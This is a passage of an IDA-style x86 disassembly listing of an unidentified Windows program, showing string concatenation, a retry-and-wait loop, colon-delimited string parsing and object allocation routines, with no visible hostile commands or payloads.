		mov	[esp+10h], edx
		mov	dx, word_444E88
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 27B0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50DB4C
		push	offset dword_50DB4C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_43829E
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C2C8
		cmp	eax, 4C3h
		jnz	short loc_41C2D1


loc_41C2C8:				; CODE XREF: ___:0041C2BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_43829E
; ---------------------------------------------------------------------------


loc_41C2D1:				; CODE XREF: ___:0041C2C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C2E8
		cmp	eax, 4C3h
		jz	short loc_41C2E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: ___:0041C2D6j
					; ___:0041C2DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C350:				; CODE XREF: ___:00401EE7j
		sub	esp, 354h
		mov	eax, off_444E8C
		mov	ecx, off_444E90
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E94
		rep stosd
		mov	ecx, off_444E84
		mov	[esp+10h], edx
		mov	dx, word_444E88
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		call	near ptr 27B0000h
		nop
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C438
		mov	esi, dword_5118D8


loc_41C41C:				; CODE XREF: ___:0041C436j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C41C


loc_41C438:				; CODE XREF: ___:0041C414j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C490	proc near		; CODE XREF: sub_401D93j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41C490	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_40142E
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B4A
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C93C
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C8CC
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41C8CE
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C710+1AFj
		xor	edi, edi


loc_41C8CE:				; CODE XREF: sub_41C710+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41C93C:				; CODE XREF: sub_41C710+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CABB
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41CA4B
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CA4D
; ---------------------------------------------------------------------------


loc_41CA4B:				; CODE XREF: sub_41C710+32Ej
		xor	edi, edi


loc_41CA4D:				; CODE XREF: sub_41C710+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41CABB:				; CODE XREF: sub_41C710+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CCF6
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CC5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41CC5E:				; CODE XREF: sub_41C710+4D6j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC86
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: sub_41C710+569j
		xor	edi, edi


loc_41CC88:				; CODE XREF: sub_41C710+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CCF6:				; CODE XREF: sub_41C710+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE9B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CE0E
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CE10
; ---------------------------------------------------------------------------


loc_41CE0E:				; CODE XREF: sub_41C710+6F1j
		xor	edi, edi


loc_41CE10:				; CODE XREF: sub_41C710+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CE9B:				; CODE XREF: sub_41C710+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D040
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CFB3
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CFB5
; ---------------------------------------------------------------------------


loc_41CFB3:				; CODE XREF: sub_41C710+896j
		xor	edi, edi


loc_41CFB5:				; CODE XREF: sub_41C710+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41D040:				; CODE XREF: sub_41C710+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D2A1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D1EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41C710+A64j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D214
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41D216
; ---------------------------------------------------------------------------


loc_41D214:				; CODE XREF: sub_41C710+AF7j
		xor	edi, edi


loc_41D216:				; CODE XREF: sub_41C710+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FDC
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_41D2A1:				; CODE XREF: sub_41C710+116j
					; sub_41C710+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D312:				; CODE XREF: sub_41C710+549j
					; sub_41C710+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
